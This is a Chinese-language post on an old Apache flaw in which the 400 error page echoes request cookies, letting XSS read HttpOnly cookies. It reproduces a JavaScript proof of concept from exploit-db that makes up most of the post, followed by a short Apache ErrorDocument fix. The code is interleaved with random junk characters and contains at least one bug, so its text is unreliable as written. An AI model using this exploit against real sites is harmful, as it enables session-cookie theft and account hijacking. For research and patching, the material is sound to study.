很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
0 \6 N. k, y6 P' a. Y% L+ F3 @. S, i9 P
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:9 z _5 a* i2 I" @$ U$ }& e; ~0 O3 F
! A4 A5 P0 ^ z% E1 x7 R& F0 R) z/ k" d! J6 j/ Q, R
// http://www.exploit-db.com/exploits/18442/6 o( r( y+ s( c; {, ^4 A
function setCookies (good) {
; y& Q) ]! Y7 @# ]+ j7 L5 @, s// Construct string for cookie value7 W, N V6 {$ p& s- k
var str = "";- T$ I0 Q* }4 `: k3 V0 o8 C. F
for (var i=0; i< 819; i++) {9 p6 a8 r# l# c2 c. A0 c
str += "x";- _; v- _1 G* T( e0 d4 p6 R$ _
}
l s' W8 S! }$ s// Set cookies% y6 n: n! w' Z8 u1 M" Z
for (i = 0; i < 10; i++) {
2 i: c9 K+ v/ N; h9 Q. l// Expire evil cookie
D" e) G* a tif (good) {( p% y- a6 m9 |; S6 j
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
1 {9 d# k. `' @5 a5 l: a}0 b4 N4 ?9 Y) {+ n H
// Set evil cookie% I# k9 a" z6 i/ p; q& @
else {$ Z6 \" t. X9 C( }. r- U; t; M
var cookie = "xss"+i+"="+str+";path=/";
3 D4 Q: _! ]8 {: ]3 e: Q* j; n/ c}+ x$ D7 G+ Q7 u& h, x* @9 j
document.cookie = cookie;" h$ ?0 F0 ` W& L" K, G% a
}2 `4 g$ [- F( h+ _ a
}6 k3 d& u6 d4 `& ~6 o( Y7 r& @
function makeRequest() {1 R: A6 D8 ?8 T. o4 L
setCookies();
7 g; h, j3 S" S, _/ gfunction parseCookies () {. r7 Y; H$ K* f# t: |* N) l
var cookie_dict = {};! W3 q4 N% v1 z& K1 @. T
// Only react on 400 status
% q: \0 m5 F7 Pif (xhr.readyState === 4 && xhr.status === 400) {
: K( y, w: N& _& \+ }. }- D// Replace newlines and match <pre> content+ |4 b: ~3 t1 L2 W- g' }
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);$ `& E% K! t- z4 Y+ [, R
if (content.length) {
0 a% b0 H9 w* Z: _// Remove Cookie: prefix* G6 t# M; O' f0 V% i7 ~2 g
content = content[1].replace("Cookie: ", "");
/ u1 Y; S3 T% E" b% v) Jvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
; F" l5 C1 U: v# [// Add cookies to object/ Q+ D9 l8 d% p0 z. E& }9 Y8 ~: n7 y; m
for (var i=0; i<cookies.length; i++) {$ m# F$ K6 e1 u9 J: N: g" ^: d
var s_c = cookies.split('=',2);
- a3 Q( G8 `9 x$ h/ W; V F ncookie_dict[s_c[0]] = s_c[1];
: p7 P+ \$ J( ]* m. ^}
. z+ L% Q q; M}8 o; T$ \) e! C; d$ x. w. \0 y$ E
// Unset malicious cookies2 Y2 a. V! N1 j/ {, I% D
setCookies(true);0 |5 J9 P# H: f: Z2 G4 F
alert(JSON.stringify(cookie_dict));# r0 g* P, O# q. W) P/ Q
}3 b1 U& m0 f. }% h8 i+ X+ h
}
5 I# F/ B. @/ Z+ @// Make XHR request
0 Z9 [+ y: k5 l/ L: T1 l, m& cvar xhr = new XMLHttpRequest();# M x% \. G/ L
xhr.onreadystatechange = parseCookies;
! s' a( }% u- } y) c/ m7 ixhr.open("GET", "/", true);
# c) q9 u/ k& b( Bxhr.send(null);6 p, q4 X4 C( K( @4 @* a
} b! S J- j t# y8 Z! ?: ?2 J
makeRequest();
% Y, q& M* y, y& E& F' @! t
$ g7 [6 w. ~4 N; Y2 C' Z! v9 ^: }你就能看见华丽丽的400错误包含着cookie信息。% y8 E# l) O" f0 p8 G
) f4 n |" s: t3 Q1 O: ?# G1 w
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#/ ~9 u3 g5 P' m
8 A6 f. R$ h9 U+ G- [7 `9 ?
修复方案:
* ?* A% Y$ p% K D& i$ S3 o( o4 R& {7 c `5 S/ i
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
) P/ |4 }9 C$ X5 S* s" [
: c/ P8 L& A% v8 c! n7 k: HIn the event of a problem or error, Apachecan be configured to do one of four things,
% F3 A! w$ T8 X8 C5 Y" Y/ w) e# Q Q! f; |! W
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息5 ~* `- ]0 O; K* J& y" _, f7 p
2. output acustomized message输出一段信息# |* G* U8 X9 W' p
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ! @( u8 [) w0 q8 r% S [% o: ?5 \! h
4. redirect to an external URL to handle theproblem/error转向一个外部URL
1 T7 d+ O6 _* L* x& o+ a
* F, r. L# F' w4 V经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
" ~5 O- d6 C% h8 @+ l6 D1 J0 P& i8 O/ p$ |
Apache配置:
/ I# b& s, d+ c- I: w1 A! P. w9 A* e& H) |4 r
ErrorDocument400 " security test"
: j) n# S: q ?7 Z
' n- m( w) Y8 _5 v: h/ \' n当然,升级apache到最新也可:)。
# Q% x+ _ ]( y/ \& Y, q+ D) K) Y/ _) s. r" c @
参考:http://httpd.apache.org/security/vulnerabilities_22.html
- K- M/ C, E. X7 w) P. j1 X
+ G0 w( ?6 ?8 f: j |